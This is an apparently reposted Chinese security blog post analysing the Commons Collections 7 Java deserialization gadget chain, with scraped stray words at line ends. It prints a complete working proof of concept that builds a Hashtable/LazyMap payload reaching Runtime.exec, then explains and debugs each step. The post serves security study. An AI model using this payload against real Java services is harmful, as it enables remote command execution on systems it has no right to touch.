Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

0x00 前言

本文講解的該鏈是原生ysoserial中的最後一條CC鏈,可是實際上並非的。在後來隨着後面各位大佬們挖掘利用鏈,CC8,9,10的鏈誕生,也被內置到ysoserial裏面。在該鏈中其實和CC6也是相似,可是CC7利用鏈中是使用Hashtable做爲反序列化的入口點。java

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


            // Reusing transformer chain and LazyMap gadgets from previous payloads
            final String[] execArgs = new String[]{"calc"};

            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            execArgs),
                    new ConstantTransformer(1)};

            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);

            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
        }
    }

這裏依舊是提取重要代碼出來去作了一個簡化。web

拋去和前面重複的部分,下面分爲三段代碼去進行分析。apache

Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
			Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

在這段代碼中,實例化了兩個 HashMap,並對兩個 HashMap使用了LazyMaptransformerChain HashMapjson

綁定到一塊兒。而後分別添加到 Hashtable中, 可是前面看到的都是使用一次,爲何這裏須要重複2次重複的操做呢?安全

下面來分析一下。工具

HashtablereconstitutionPut方法是被遍歷調用的,this

第一次調用的時候,並不會走入到reconstitutionPut方法for循環裏面,由於tab[index]的內容是空的,在下面會對tab[index]進行賦值。在第二次調用reconstitutionPut時,tab中才有內容,咱們纔有機會進入到這個for循環中,從而調用equals方法。這也是爲何要調用兩次put的緣由。調試

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
		lazyMap2.remove("yy");

前面的三段代碼其實就是爲了防止在序列化的時候,本地進行命令執行,前面先定義好一個空的,後面再使用反射將他的iTransformers進行替換。code

其實最主要的是後面的lazyMap2.remove這個步驟。至於爲何須要在最後面移除該值,其實在LazyMap的get方法裏面就能夠看到。orm

若是不移除該方法就會走不進該判斷條件的代碼塊中。然後面也會再調用一次put方法。

0x02 POC調試

依舊是在readobjetc的複寫點打一個斷點,這裏面用到的是Hashtablereadobjetc做爲入口點。

在其中會調用到reconstitutionPut方法,跟進一下。

前面說過,第一遍調用的時候,tab[index]是爲空的,須要跟進到第二步的執行裏面去查看。

在第二遍執行的時候就會進行到for循環裏面,而且調用到keyequals方法。跟進一下該方法。

AbstractMapDecoratorequals方法會去調用this.mapequals。跟進一下。

下面代碼還會繼續調用m.get方法,在這裏的m爲LazyMap對象。

在最後就來到了LazyMap.get這一步,其實就比較清晰了。後面的和前面分析的幾條鏈都同樣。這裏就不作分析了。

0x03 結尾

分析完了這一系列的CC鏈,後面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再後面就是開始寫反序列化工具集了。

相關文章
相關標籤/搜索